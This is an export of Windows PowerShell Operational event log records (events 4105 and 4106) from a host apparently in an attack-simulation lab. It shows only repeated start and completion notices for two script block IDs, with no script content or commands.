TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2052408
Keywords=None
Message=Started invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:22 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2052407
Keywords=None
Message=Completed invocation of ScriptBlock ID: aa380ec0-39f4-43d3-84d8-a53c26b4775d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:22 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2052406
Keywords=None
Message=Started invocation of ScriptBlock ID: aa380ec0-39f4-43d3-84d8-a53c26b4775d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:22 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2052405
Keywords=None
Message=Completed invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:22 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2052404
Keywords=None
Message=Started invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:22 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2052403
Keywords=None
Message=Completed invocation of ScriptBlock ID: aa380ec0-39f4-43d3-84d8-a53c26b4775d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:22 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2052402
Keywords=None
Message=Started invocation of ScriptBlock ID: aa380ec0-39f4-43d3-84d8-a53c26b4775d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:22 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2052401
Keywords=None
Message=Completed invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:22 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2052400
Keywords=None
Message=Started invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:22 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2052399
Keywords=None
Message=Completed invocation of ScriptBlock ID: aa380ec0-39f4-43d3-84d8-a53c26b4775d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:22 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2052398
Keywords=None
Message=Started invocation of ScriptBlock ID: aa380ec0-39f4-43d3-84d8-a53c26b4775d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:22 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2052397
Keywords=None
Message=Completed invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:22 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2052396
Keywords=None
Message=Started invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:22 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2052395
Keywords=None
Message=Completed invocation of ScriptBlock ID: aa380ec0-39f4-43d3-84d8-a53c26b4775d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:22 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2052394
Keywords=None
Message=Started invocation of ScriptBlock ID: aa380ec0-39f4-43d3-84d8-a53c26b4775d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:22 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2052393
Keywords=None
Message=Completed invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:22 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2052392
Keywords=None
Message=Started invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:22 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2052391
Keywords=None
Message=Completed invocation of ScriptBlock ID: aa380ec0-39f4-43d3-84d8-a53c26b4775d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:22 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2052390
Keywords=None
Message=Started invocation of ScriptBlock ID: aa380ec0-39f4-43d3-84d8-a53c26b4775d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:22 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2052389
Keywords=None
Message=Completed invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:22 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2052388
Keywords=None
Message=Started invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:22 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2052387
Keywords=None
Message=Completed invocation of ScriptBlock ID: aa380ec0-39f4-43d3-84d8-a53c26b4775d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:22 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2052386
Keywords=None
Message=Started invocation of ScriptBlock ID: aa380ec0-39f4-43d3-84d8-a53c26b4775d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:22 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2052385
Keywords=None
Message=Completed invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:22 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2052384
Keywords=None
Message=Started invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:22 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2052383
Keywords=None
Message=Completed invocation of ScriptBlock ID: aa380ec0-39f4-43d3-84d8-a53c26b4775d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:22 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2052382
Keywords=None
Message=Started invocation of ScriptBlock ID: aa380ec0-39f4-43d3-84d8-a53c26b4775d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:22 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2052381
Keywords=None
Message=Completed invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:22 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2052380
Keywords=None
Message=Started invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:22 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2052379
Keywords=None
Message=Completed invocation of ScriptBlock ID: aa380ec0-39f4-43d3-84d8-a53c26b4775d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:22 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2052378
Keywords=None
Message=Started invocation of ScriptBlock ID: aa380ec0-39f4-43d3-84d8-a53c26b4775d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:22 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2052377
Keywords=None
Message=Completed invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:22 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2052376
Keywords=None
Message=Started invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:22 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2052375
Keywords=None
Message=Completed invocation of ScriptBlock ID: aa380ec0-39f4-43d3-84d8-a53c26b4775d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:22 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2052374
Keywords=None
Message=Started invocation of ScriptBlock ID: aa380ec0-39f4-43d3-84d8-a53c26b4775d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:22 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2052373
Keywords=None
Message=Completed invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:22 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2052372
Keywords=None
Message=Started invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:22 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2052371
Keywords=None
Message=Completed invocation of ScriptBlock ID: aa380ec0-39f4-43d3-84d8-a53c26b4775d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:22 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2052370
Keywords=None
Message=Started invocation of ScriptBlock ID: aa380ec0-39f4-43d3-84d8-a53c26b4775d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:22 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2052369
Keywords=None
Message=Completed invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:22 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2052368
Keywords=None
Message=Started invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:22 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2052367
Keywords=None
Message=Completed invocation of ScriptBlock ID: aa380ec0-39f4-43d3-84d8-a53c26b4775d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:22 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2052366
Keywords=None
Message=Started invocation of ScriptBlock ID: aa380ec0-39f4-43d3-84d8-a53c26b4775d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:22 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2052365
Keywords=None
Message=Completed invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:22 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2052364
Keywords=None
Message=Started invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:22 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2052363
Keywords=None
Message=Completed invocation of ScriptBlock ID: aa380ec0-39f4-43d3-84d8-a53c26b4775d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:22 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2052362
Keywords=None
Message=Started invocation of ScriptBlock ID: aa380ec0-39f4-43d3-84d8-a53c26b4775d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:22 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2052361
Keywords=None
Message=Completed invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:22 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2052360
Keywords=None
Message=Started invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:22 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2052359
Keywords=None
Message=Completed invocation of ScriptBlock ID: aa380ec0-39f4-43d3-84d8-a53c26b4775d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:22 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2052358
Keywords=None
Message=Started invocation of ScriptBlock ID: aa380ec0-39f4-43d3-84d8-a53c26b4775d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:22 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2052357
Keywords=None
Message=Completed invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:22 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2052356
Keywords=None
Message=Started invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:22 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2052355
Keywords=None
Message=Completed invocation of ScriptBlock ID: aa380ec0-39f4-43d3-84d8-a53c26b4775d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:22 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2052354
Keywords=None
